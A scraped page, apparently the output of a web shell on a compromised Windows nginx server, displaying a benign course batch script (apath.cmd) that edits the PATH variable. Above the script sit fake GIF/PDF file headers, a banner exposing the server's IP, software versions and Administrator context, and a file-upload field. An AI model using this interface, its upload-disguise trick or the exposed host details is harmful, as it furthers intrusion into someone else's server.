GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/JimMartinson/_Archive/CST1861/ExampleFiles/Lab04/ooga/ |
Upload File : |
@echo off :: apath.cmd :: Written by: Jim Martinson :: Written on: 2010/04/16 :: Test if command line extensions are enabled. if "%~1"=="~1" goto:ExtensionsAreNotEnabled :: Display help when the /? parameter is passed. if NOT "%~1"=="/?" goto SkipHelp :Help :: Display help. echo Adds a new path to the Path environmental variable. echo. echo Usage: %~n0 [/a^|/p] [/c] [dir_path] echo. echo /a = Append the dir_path to the end of the Path. echo This is the default. echo /c = Create the dir_path if it does not exist. echo /p = Prepend the dir_path to the beginning of the Path. echo dir_path = The dir_path to append or prepend to the Path. echo If dir_path is not given the current directory is added to the path. echo. goto:EOF :ExtensionsAreNotEnabled echo Command line extensions are not enabled. They must be enabled for %~n0 to work properly. echo %~n0 aborted. echo. goto:Help :SkipHelp :: Initialize variables. set _a= set _c= set _p= set _dir_path= set _dir_pathTemp= :next_parameter shift if "%~0"=="" goto:parseDone if /I "%~0" EQU "/a" goto:SetA if /I "%~0" EQU "/p" goto:SetP if /I "%~0" EQU "/c" goto:SetC if defined _dir_path ( set _dir_pathTemp=%~0 goto:testTooManyArgs ) else ( set _dir_path=%~0 goto:testBadParameter ) :: The program will never get here. echo I can never get here. goto:EOF :parseDone :: Set the default _a if neither _a or _p set. if NOT defined _a if NOT defined _p set _a=1 :: Set the _dir_path to the current directory if not set. if NOT defined _dir_path for /f "tokens=*" %%p in ('cd') do set _dir_path=%%p :: Test if the _dir_path exists. if NOT exist "%_dir_path%\" ( :: Test for /c flag. if defined _c ( md "%_dir_path%" if NOT exist "%_dir_path%\" ( echo Could not create %_dir_path%. goto:EOF ) ) else ( echo %_dir_path% does not exist. goto:EOF ) ) for /f "tokens=2-27 delims=;=" %%a in ('path') do call:parsePath "%%a" "%%b" "%%c" "%%d" "%%e" "%%f" "%%g" "%%h" "%%i" "%%j" "%%k" "%%l" "%%m" "%%n" "%%o" "%%p" "%%q" "%%r" "%%s" "%%t" "%%u" "%%v" "%%w" "%%x" "%%y" "%%z" if defined _dir_path ( if defined _a ( if NOT "%path:~-1%"==";" ( set path=%path%;%_dir_path% ) else ( set path=%path%%_dir_path%; ) ) else ( set path=%_dir_path%;%path% ) ) :: Cleanup variables. set _a= set _c= set _p= set _dir_path= set _dir_pathTemp= path goto:EOF :parsePath if "%_dir_path%"=="%~1" set _dir_path= if "%_dir_path%\"=="%~1" set _dir_path= if "%_dir_path%"=="%~1\" set _dir_path= shift if NOT "%~1"=="" goto:parsePath goto:EOF :SetA if defined _a goto:errorA if defined _p goto:errorAP set _a=1 goto:next_parameter :SetP if defined _a goto:errorAP if defined _p goto:errorP set _p=1 goto:next_parameter :SetC if defined _c goto:errorC set _c=1 goto:next_parameter :errorA echo Cannot duplicate /a. echo. goto:Help :errorAP echo Cannot select both /a and /p. echo. goto:Help :errorArgs echo Too many arguments. echo. goto:Help :errorC echo Cannot duplicate /c. echo. goto:Help :errorP echo Cannot duplicate /p. echo. goto:Help :errorParameter echo Illegal parameter: %~0. echo. goto:Help :testBadParameter if "%_dir_path:~0,1%"=="/" goto:errorParameter goto:next_parameter :testTooManyArgs if "%_dir_pathTemp:~0,1%"=="/" goto:errorParameter goto:errorArgs